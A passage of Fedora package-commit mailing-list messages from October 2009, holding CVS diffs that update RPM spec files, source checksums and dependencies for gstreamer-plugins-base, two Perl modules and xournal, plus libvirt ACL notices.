+BuildRequires:  perl(Module::Build), perl(Moose)
 BuildRequires:  perl(Test::Pod), perl(Test::Pod::Coverage)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
@@ -52,7 +52,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %changelog
 * Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.01-1
-- new upstream version
+- new upstream version, BR perl(Moose)
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.17-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From hadess at fedoraproject.org  Mon Oct  5 16:24:58 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 16:24:58 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/devel .cvsignore, 1.29,
	1.30 gstreamer-plugins-base.spec, 1.91, 1.92 sources, 1.30, 1.31
Message-ID: <20091005162458.F3EFE11C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17987

Modified Files:
	.cvsignore gstreamer-plugins-base.spec sources 
Log Message:
* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
- Update to 0.10.25
- Require a gstreamer of the same version as us (#503707)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	1 Oct 2009 17:10:58 -0000	1.29
+++ .cvsignore	5 Oct 2009 16:24:58 -0000	1.30
@@ -1 +1 @@
-gst-plugins-base-0.10.24.4.tar.bz2
+gst-plugins-base-0.10.25.tar.bz2


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/gstreamer-plugins-base.spec,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- gstreamer-plugins-base.spec	1 Oct 2009 21:01:05 -0000	1.91
+++ gstreamer-plugins-base.spec	5 Oct 2009 16:24:58 -0000	1.92
@@ -1,10 +1,8 @@
 %define         gstreamer       gstreamer
 %define         majorminor      0.10
 
-%define         _gst            0.10.24.4
-
 Name: 		%{gstreamer}-plugins-base
-Version: 	0.10.24.4
+Version: 	0.10.25
 Release:  	1%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
@@ -14,9 +12,9 @@ URL:		http://gstreamer.freedesktop.org/
 Source:		http://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Requires:       %{gstreamer} >= %{_gst}
+Requires:       %{gstreamer} >= %{version}
 Requires:	liboil >= 0.3.12-9
-BuildRequires: 	%{gstreamer}-devel >= %{_gst}
+BuildRequires: 	%{gstreamer}-devel >= %{version}
 
 BuildRequires:  gettext
 BuildRequires:  gcc-c++
@@ -246,6 +244,10 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
+- Update to 0.10.25
+- Require a gstreamer of the same version as us (#503707)
+
 * Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24.4-1
 - Update to pre-release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	1 Oct 2009 17:10:58 -0000	1.30
+++ sources	5 Oct 2009 16:24:58 -0000	1.31
@@ -1 +1 @@
-72391698d726933b2cf089eeb5ced66d  gst-plugins-base-0.10.24.4.tar.bz2
+d29669dd79276c5cd94e1613c03cd9ab  gst-plugins-base-0.10.25.tar.bz2



From kasal at fedoraproject.org  Mon Oct  5 16:25:52 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 16:25:52 +0000 (UTC)
Subject: rpms/perl-Cache-Memcached/devel .cvsignore, 1.2,
	1.3 perl-Cache-Memcached.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091005162552.8C8F111C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Cache-Memcached/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18459

Modified Files:
	.cvsignore perl-Cache-Memcached.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Cache-Memcached/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Jun 2009 10:52:46 -0000	1.2
+++ .cvsignore	5 Oct 2009 16:25:52 -0000	1.3
@@ -1 +1 @@
-Cache-Memcached-1.26.tar.gz
+Cache-Memcached-1.27.tar.gz


Index: perl-Cache-Memcached.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Cache-Memcached/devel/perl-Cache-Memcached.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-Cache-Memcached.spec	26 Jul 2009 04:04:55 -0000	1.2
+++ perl-Cache-Memcached.spec	5 Oct 2009 16:25:52 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           perl-Cache-Memcached
-Version:        1.26
-Release:        4%{?dist}
+Version:        1.27
+Release:        1%{?dist}
 Summary:        Perl client for memcached
 
 Group:          Development/Libraries


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Cache-Memcached/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Jun 2009 10:52:46 -0000	1.2
+++ sources	5 Oct 2009 16:25:52 -0000	1.3
@@ -1 +1 @@
-ff74342ce45fbb2115792b0d24d7ae8c  Cache-Memcached-1.26.tar.gz
+897dbe9b24b4f918e2368c987425797c  Cache-Memcached-1.27.tar.gz



From kasal at fedoraproject.org  Mon Oct  5 16:29:25 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 16:29:25 +0000 (UTC)
Subject: rpms/perl-Class-Accessor/devel .cvsignore, 1.7,
	1.8 perl-Class-Accessor.spec, 1.13, 1.14 sources, 1.7, 1.8
Message-ID: <20091005162925.26D9F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Class-Accessor/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20208

Modified Files:
	.cvsignore perl-Class-Accessor.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Class-Accessor/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	27 Jul 2007 20:23:59 -0000	1.7
+++ .cvsignore	5 Oct 2009 16:29:24 -0000	1.8
@@ -1,2 +1 @@
-Class-Accessor-0.30.tar.gz
-Class-Accessor-0.31.tar.gz
+Class-Accessor-0.34.tar.gz


Index: perl-Class-Accessor.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Class-Accessor/devel/perl-Class-Accessor.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- perl-Class-Accessor.spec	26 Jul 2009 04:20:14 -0000	1.13
+++ perl-Class-Accessor.spec	5 Oct 2009 16:29:24 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           perl-Class-Accessor
-Version:        0.31
-Release:        6%{?dist}
+Version:        0.34
+Release:        1%{?dist}
 Summary:        Automated accessor generation
 Group:          Development/Libraries
 License:        GPL+ or Artistic
@@ -43,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 0.34-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.31-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Class-Accessor/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	27 Jul 2007 20:23:59 -0000	1.7
+++ sources	5 Oct 2009 16:29:24 -0000	1.8
@@ -1 +1 @@
-d13df2381878ccdb847c23ab6af7e4fa  Class-Accessor-0.31.tar.gz
+0d9640d237a13276145f7e44b4855b89  Class-Accessor-0.34.tar.gz



From pkgdb at fedoraproject.org  Mon Oct  5 16:30:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:30:28 +0000
Subject: [pkgdb] libvirt had acl change status
Message-ID: <20091005163028.3FDE710F892@bastion2.fedora.phx.redhat.com>

veillard has set the commit acl on libvirt (Fedora devel) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/libvirt



From pkgdb at fedoraproject.org  Mon Oct  5 16:30:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:30:41 +0000
Subject: [pkgdb] libvirt had acl change status
Message-ID: <20091005163041.35D8D10F892@bastion2.fedora.phx.redhat.com>

veillard has set the commit acl on libvirt (Fedora 12) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/libvirt



From pkgdb at fedoraproject.org  Mon Oct  5 16:30:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:30:48 +0000
Subject: [pkgdb] libvirt had acl change status
Message-ID: <20091005163048.7D88710F894@bastion2.fedora.phx.redhat.com>

veillard has set the commit acl on libvirt (Fedora 11) to Approved for jforbes

To make changes to this package see:
  /pkgdb/packages/name/libvirt



From rvinyard at fedoraproject.org  Mon Oct  5 16:31:30 2009
From: rvinyard at fedoraproject.org (Rick L. Vinyard, Jr.)
Date: Mon,  5 Oct 2009 16:31:30 +0000 (UTC)
Subject: rpms/xournal/devel .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 xournal-configure.in-freetype.patch, 1.1, 1.2 xournal.spec,
	1.10, 1.11 x-xoj.desktop, 1.2, NONE xournal.desktop, 1.2,
	NONE xournal.xml, 1.1, NONE
Message-ID: <20091005163130.8ACC511C00DB@cvs1.fedora.phx.redhat.com>

Author: rvinyard

Update of /cvs/pkgs/rpms/xournal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21241

Modified Files:
	.cvsignore sources xournal-configure.in-freetype.patch 
	xournal.spec 
Removed Files:
	x-xoj.desktop xournal.desktop xournal.xml 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Apr 2008 13:53:38 -0000	1.4
+++ .cvsignore	5 Oct 2009 16:31:28 -0000	1.5
@@ -1 +1 @@
-xournal-0.4.2.1.tar.gz
+xournal-0.4.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Apr 2008 13:53:38 -0000	1.4
+++ sources	5 Oct 2009 16:31:28 -0000	1.5
@@ -1 +1 @@
-b56b1403b68b60a5a27b028d91a38e88  xournal-0.4.2.1.tar.gz
+795e4396ded2b67766eb2926be1fb4a9  xournal-0.4.5.tar.gz

xournal-configure.in-freetype.patch:
 configure.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: xournal-configure.in-freetype.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/devel/xournal-configure.in-freetype.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xournal-configure.in-freetype.patch	22 Sep 2007 01:20:15 -0000	1.1
+++ xournal-configure.in-freetype.patch	5 Oct 2009 16:31:29 -0000	1.2
@@ -1,15 +1,15 @@
---- configure.in.orig	2007-09-21 19:12:00.000000000 -0600
-+++ configure.in	2007-09-21 19:12:52.000000000 -0600
-@@ -8,11 +8,11 @@
- AC_ISC_POSIX
+--- configure.in.orig	2009-10-05 09:32:56.000000000 -0600
++++ configure.in	2009-10-05 09:34:42.000000000 -0600
+@@ -9,11 +9,11 @@
  AC_PROG_CC
  AM_PROG_CC_STDC
+ AC_PROG_RANLIB
  AC_HEADER_STDC
  
--pkg_modules="gtk+-2.0 >= 2.4.0 libgnomecanvas-2.0 >= 2.4.0 libgnomeprintui-2.2 >= 2.0.0"
-+pkg_modules="gtk+-2.0 >= 2.4.0 libgnomecanvas-2.0 >= 2.4.0 libgnomeprintui-2.2 >= 2.0.0 freetype2"
+-pkg_modules="gtk+-2.0 >= 2.10.0 libgnomecanvas-2.0 >= 2.4.0 poppler-glib >= 0.5.4"
++pkg_modules="gtk+-2.0 >= 2.10.0 libgnomecanvas-2.0 >= 2.4.0 poppler-glib >= 0.5.4 freetype2"
  PKG_CHECK_MODULES(PACKAGE, [$pkg_modules])
  AC_SUBST(PACKAGE_CFLAGS)
  AC_SUBST(PACKAGE_LIBS)
  
- AC_OUTPUT([
+ GETTEXT_PACKAGE=xournal


Index: xournal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/devel/xournal.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- xournal.spec	27 Jul 2009 08:40:51 -0000	1.10
+++ xournal.spec	5 Oct 2009 16:31:29 -0000	1.11
@@ -1,24 +1,23 @@
 Name:		xournal
-Version:	0.4.2.1
-Release:	4%{?dist}
-Summary:	Xournal notetaking, sketching and PDF annotation
+Version:	0.4.5
+Release:	1%{?dist}
+Summary:	Notetaking, sketching, PDF annotation and general journal
 
 Group:		Applications/Editors
 License:	GPLv2
 URL:		http://xournal.sourceforge.net/
 Source0:	http://downloads.sourceforge.net/xournal/%{name}-%{version}.tar.gz
-Source1:	xournal.desktop
-Source2:	xournal.xml
-Source3:	x-xoj.desktop
 Patch0:		xournal-configure.in-freetype.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	gtk2-devel >= 2.4.0 
+BuildRequires:	gtk2-devel >= 2.10.0 
 BuildRequires:	libgnomecanvas-devel >= 2.4.0 
 BuildRequires:	libgnomeprintui22-devel >= 2.0.0 
+BuildRequires:	poppler-glib-devel >= 0.5.4
 BuildRequires:	freetype-devel >= 2.0.0
 BuildRequires:	desktop-file-utils
 BuildRequires:	ImageMagick
+BuildRequires:	gettext
 
 Requires:	poppler-utils
 Requires:	ghostscript
@@ -60,14 +59,15 @@ done
 %{__install} -p -m 0644 -D pixmaps/xournal.png ${RPM_BUILD_ROOT}%{_datadir}/pixmaps/xournal.png
 desktop-file-install --vendor fedora \
 	--dir ${RPM_BUILD_ROOT}%{_datadir}/applications \
-	%{SOURCE1}
+	xournal.desktop
 
 # GNOME (shared-mime-info) MIME type registration
-%{__install} -p -m 0644 -D %{SOURCE2} ${RPM_BUILD_ROOT}%{_datadir}/mime/packages/xournal.xml
+%{__install} -p -m 0644 -D xournal.xml ${RPM_BUILD_ROOT}%{_datadir}/mime/packages/xournal.xml
 
 # KDE (legacy) MIME type registration
-%{__install} -p -m 0644 -D %{SOURCE3} ${RPM_BUILD_ROOT}%{_datadir}/mimelnk/application/x-xoj.desktop
+%{__install} -p -m 0644 -D x-xoj.desktop ${RPM_BUILD_ROOT}%{_datadir}/mimelnk/application/x-xoj.desktop
 
+%find_lang %{name}
 
 %post
 touch --no-create %{_datadir}/icons/hicolor || :
@@ -85,7 +85,7 @@ update-desktop-database %{_datadir}/appl
 %{__rm} -rf $RPM_BUILD_ROOT
 
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %{_bindir}/xournal
 %{_datadir}/icons/hicolor/*x*/apps/%{name}.png
@@ -101,6 +101,14 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Mon Oct 05 2009 Rick L Vinyard Jr <rvinyard at cs.nmsu.edu> 0.4.5-1
+- New upstream release
+- Removed xournal.xml, xournal.desktop and x-xoj.desktop sources as they are now in upstream source
+- Updated gtk2 devel requirements to 2.10
+- Added poppler-glib-devel to BR
+- Added gettext BR
+- Updated summary
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.2.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- x-xoj.desktop DELETED ---


--- xournal.desktop DELETED ---


--- xournal.xml DELETED ---



From rvinyard at fedoraproject.org  Mon Oct  5 16:31:42 2009
From: rvinyard at fedoraproject.org (Rick L. Vinyard, Jr.)
Date: Mon,  5 Oct 2009 16:31:42 +0000 (UTC)
Subject: rpms/xournal/F-12 .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 xournal-configure.in-freetype.patch, 1.1, 1.2 xournal.spec,
	1.10, 1.11 x-xoj.desktop, 1.2, NONE xournal.desktop, 1.2,
	NONE xournal.xml, 1.1, NONE
Message-ID: <20091005163142.BE97A11C00DB@cvs1.fedora.phx.redhat.com>

Author: rvinyard

Update of /cvs/pkgs/rpms/xournal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21317

Modified Files:
	.cvsignore sources xournal-configure.in-freetype.patch 
	xournal.spec 
Removed Files:
	x-xoj.desktop xournal.desktop xournal.xml 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Apr 2008 13:53:38 -0000	1.4
+++ .cvsignore	5 Oct 2009 16:31:41 -0000	1.5
@@ -1 +1 @@
-xournal-0.4.2.1.tar.gz
+xournal-0.4.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Apr 2008 13:53:38 -0000	1.4
+++ sources	5 Oct 2009 16:31:42 -0000	1.5
@@ -1 +1 @@
-b56b1403b68b60a5a27b028d91a38e88  xournal-0.4.2.1.tar.gz
+795e4396ded2b67766eb2926be1fb4a9  xournal-0.4.5.tar.gz

xournal-configure.in-freetype.patch:
 configure.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: xournal-configure.in-freetype.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-12/xournal-configure.in-freetype.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xournal-configure.in-freetype.patch	22 Sep 2007 01:20:15 -0000	1.1
+++ xournal-configure.in-freetype.patch	5 Oct 2009 16:31:42 -0000	1.2
@@ -1,15 +1,15 @@
---- configure.in.orig	2007-09-21 19:12:00.000000000 -0600
-+++ configure.in	2007-09-21 19:12:52.000000000 -0600
-@@ -8,11 +8,11 @@
- AC_ISC_POSIX
+--- configure.in.orig	2009-10-05 09:32:56.000000000 -0600
++++ configure.in	2009-10-05 09:34:42.000000000 -0600
+@@ -9,11 +9,11 @@
  AC_PROG_CC
  AM_PROG_CC_STDC
+ AC_PROG_RANLIB
  AC_HEADER_STDC
  
--pkg_modules="gtk+-2.0 >= 2.4.0 libgnomecanvas-2.0 >= 2.4.0 libgnomeprintui-2.2 >= 2.0.0"
-+pkg_modules="gtk+-2.0 >= 2.4.0 libgnomecanvas-2.0 >= 2.4.0 libgnomeprintui-2.2 >= 2.0.0 freetype2"
+-pkg_modules="gtk+-2.0 >= 2.10.0 libgnomecanvas-2.0 >= 2.4.0 poppler-glib >= 0.5.4"
++pkg_modules="gtk+-2.0 >= 2.10.0 libgnomecanvas-2.0 >= 2.4.0 poppler-glib >= 0.5.4 freetype2"
  PKG_CHECK_MODULES(PACKAGE, [$pkg_modules])
  AC_SUBST(PACKAGE_CFLAGS)
  AC_SUBST(PACKAGE_LIBS)
  
- AC_OUTPUT([
+ GETTEXT_PACKAGE=xournal


Index: xournal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-12/xournal.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- xournal.spec	27 Jul 2009 08:40:51 -0000	1.10
+++ xournal.spec	5 Oct 2009 16:31:42 -0000	1.11
@@ -1,24 +1,23 @@
 Name:		xournal
-Version:	0.4.2.1
-Release:	4%{?dist}
-Summary:	Xournal notetaking, sketching and PDF annotation
+Version:	0.4.5
+Release:	1%{?dist}
+Summary:	Notetaking, sketching, PDF annotation and general journal
 
 Group:		Applications/Editors
 License:	GPLv2
 URL:		http://xournal.sourceforge.net/
 Source0:	http://downloads.sourceforge.net/xournal/%{name}-%{version}.tar.gz
-Source1:	xournal.desktop
-Source2:	xournal.xml
-Source3:	x-xoj.desktop
 Patch0:		xournal-configure.in-freetype.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	gtk2-devel >= 2.4.0 
+BuildRequires:	gtk2-devel >= 2.10.0 
 BuildRequires:	libgnomecanvas-devel >= 2.4.0 
 BuildRequires:	libgnomeprintui22-devel >= 2.0.0 
+BuildRequires:	poppler-glib-devel >= 0.5.4
 BuildRequires:	freetype-devel >= 2.0.0
 BuildRequires:	desktop-file-utils
 BuildRequires:	ImageMagick
+BuildRequires:	gettext
 
 Requires:	poppler-utils
 Requires:	ghostscript
@@ -60,14 +59,15 @@ done
 %{__install} -p -m 0644 -D pixmaps/xournal.png ${RPM_BUILD_ROOT}%{_datadir}/pixmaps/xournal.png
 desktop-file-install --vendor fedora \
 	--dir ${RPM_BUILD_ROOT}%{_datadir}/applications \
-	%{SOURCE1}
+	xournal.desktop
 
 # GNOME (shared-mime-info) MIME type registration
-%{__install} -p -m 0644 -D %{SOURCE2} ${RPM_BUILD_ROOT}%{_datadir}/mime/packages/xournal.xml
+%{__install} -p -m 0644 -D xournal.xml ${RPM_BUILD_ROOT}%{_datadir}/mime/packages/xournal.xml
 
 # KDE (legacy) MIME type registration
-%{__install} -p -m 0644 -D %{SOURCE3} ${RPM_BUILD_ROOT}%{_datadir}/mimelnk/application/x-xoj.desktop
+%{__install} -p -m 0644 -D x-xoj.desktop ${RPM_BUILD_ROOT}%{_datadir}/mimelnk/application/x-xoj.desktop
 
+%find_lang %{name}
 
 %post
 touch --no-create %{_datadir}/icons/hicolor || :
@@ -85,7 +85,7 @@ update-desktop-database %{_datadir}/appl
 %{__rm} -rf $RPM_BUILD_ROOT
 
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %{_bindir}/xournal
 %{_datadir}/icons/hicolor/*x*/apps/%{name}.png
@@ -101,6 +101,14 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Mon Oct 05 2009 Rick L Vinyard Jr <rvinyard at cs.nmsu.edu> 0.4.5-1
+- New upstream release
+- Removed xournal.xml, xournal.desktop and x-xoj.desktop sources as they are now in upstream source
+- Updated gtk2 devel requirements to 2.10
+- Added poppler-glib-devel to BR
+- Added gettext BR
+- Updated summary
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.2.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- x-xoj.desktop DELETED ---


--- xournal.desktop DELETED ---


--- xournal.xml DELETED ---



From rvinyard at fedoraproject.org  Mon Oct  5 16:31:44 2009
From: rvinyard at fedoraproject.org (Rick L. Vinyard, Jr.)
Date: Mon,  5 Oct 2009 16:31:44 +0000 (UTC)
Subject: rpms/xournal/F-11 .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 xournal-configure.in-freetype.patch, 1.1, 1.2 xournal.spec,
	1.9, 1.10 x-xoj.desktop, 1.2, NONE xournal.desktop, 1.2,
	NONE xournal.xml, 1.1, NONE
Message-ID: <20091005163144.E6EE711C00DB@cvs1.fedora.phx.redhat.com>

Author: rvinyard

Update of /cvs/pkgs/rpms/xournal/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21364

Modified Files:
	.cvsignore sources xournal-configure.in-freetype.patch 
	xournal.spec 
Removed Files:
	x-xoj.desktop xournal.desktop xournal.xml 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Apr 2008 13:53:38 -0000	1.4
+++ .cvsignore	5 Oct 2009 16:31:44 -0000	1.5
@@ -1 +1 @@
-xournal-0.4.2.1.tar.gz
+xournal-0.4.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Apr 2008 13:53:38 -0000	1.4
+++ sources	5 Oct 2009 16:31:44 -0000	1.5
@@ -1 +1 @@
-b56b1403b68b60a5a27b028d91a38e88  xournal-0.4.2.1.tar.gz
+795e4396ded2b67766eb2926be1fb4a9  xournal-0.4.5.tar.gz

xournal-configure.in-freetype.patch:
 configure.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: xournal-configure.in-freetype.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-11/xournal-configure.in-freetype.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xournal-configure.in-freetype.patch	22 Sep 2007 01:20:15 -0000	1.1
+++ xournal-configure.in-freetype.patch	5 Oct 2009 16:31:44 -0000	1.2
@@ -1,15 +1,15 @@
---- configure.in.orig	2007-09-21 19:12:00.000000000 -0600
-+++ configure.in	2007-09-21 19:12:52.000000000 -0600
-@@ -8,11 +8,11 @@
- AC_ISC_POSIX
+--- configure.in.orig	2009-10-05 09:32:56.000000000 -0600
++++ configure.in	2009-10-05 09:34:42.000000000 -0600
+@@ -9,11 +9,11 @@
  AC_PROG_CC
  AM_PROG_CC_STDC
+ AC_PROG_RANLIB
  AC_HEADER_STDC
  
--pkg_modules="gtk+-2.0 >= 2.4.0 libgnomecanvas-2.0 >= 2.4.0 libgnomeprintui-2.2 >= 2.0.0"
-+pkg_modules="gtk+-2.0 >= 2.4.0 libgnomecanvas-2.0 >= 2.4.0 libgnomeprintui-2.2 >= 2.0.0 freetype2"
+-pkg_modules="gtk+-2.0 >= 2.10.0 libgnomecanvas-2.0 >= 2.4.0 poppler-glib >= 0.5.4"
++pkg_modules="gtk+-2.0 >= 2.10.0 libgnomecanvas-2.0 >= 2.4.0 poppler-glib >= 0.5.4 freetype2"
  PKG_CHECK_MODULES(PACKAGE, [$pkg_modules])
  AC_SUBST(PACKAGE_CFLAGS)
  AC_SUBST(PACKAGE_LIBS)
  
- AC_OUTPUT([
+ GETTEXT_PACKAGE=xournal


Index: xournal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xournal/F-11/xournal.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- xournal.spec	26 Feb 2009 11:47:29 -0000	1.9
+++ xournal.spec	5 Oct 2009 16:31:44 -0000	1.10
@@ -1,24 +1,23 @@
 Name:		xournal
-Version:	0.4.2.1
-Release:	3%{?dist}
-Summary:	Xournal notetaking, sketching and PDF annotation
+Version:	0.4.5
+Release:	1%{?dist}
+Summary:	Notetaking, sketching, PDF annotation and general journal
 
 Group:		Applications/Editors
 License:	GPLv2
 URL:		http://xournal.sourceforge.net/
 Source0:	http://downloads.sourceforge.net/xournal/%{name}-%{version}.tar.gz
-Source1:	xournal.desktop
-Source2:	xournal.xml
-Source3:	x-xoj.desktop
 Patch0:		xournal-configure.in-freetype.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	gtk2-devel >= 2.4.0 
+BuildRequires:	gtk2-devel >= 2.10.0 
 BuildRequires:	libgnomecanvas-devel >= 2.4.0 
 BuildRequires:	libgnomeprintui22-devel >= 2.0.0 
+BuildRequires:	poppler-glib-devel >= 0.5.4
 BuildRequires:	freetype-devel >= 2.0.0
 BuildRequires:	desktop-file-utils
 BuildRequires:	ImageMagick
+BuildRequires:	gettext
 
 Requires:	poppler-utils
 Requires:	ghostscript
@@ -60,14 +59,15 @@ done
 %{__install} -p -m 0644 -D pixmaps/xournal.png ${RPM_BUILD_ROOT}%{_datadir}/pixmaps/xournal.png
 desktop-file-install --vendor fedora \
 	--dir ${RPM_BUILD_ROOT}%{_datadir}/applications \
-	%{SOURCE1}
+	xournal.desktop
 
 # GNOME (shared-mime-info) MIME type registration
-%{__install} -p -m 0644 -D %{SOURCE2} ${RPM_BUILD_ROOT}%{_datadir}/mime/packages/xournal.xml
+%{__install} -p -m 0644 -D xournal.xml ${RPM_BUILD_ROOT}%{_datadir}/mime/packages/xournal.xml
 
 # KDE (legacy) MIME type registration
-%{__install} -p -m 0644 -D %{SOURCE3} ${RPM_BUILD_ROOT}%{_datadir}/mimelnk/application/x-xoj.desktop
+%{__install} -p -m 0644 -D x-xoj.desktop ${RPM_BUILD_ROOT}%{_datadir}/mimelnk/application/x-xoj.desktop
 
+%find_lang %{name}
 
 %post
 touch --no-create %{_datadir}/icons/hicolor || :
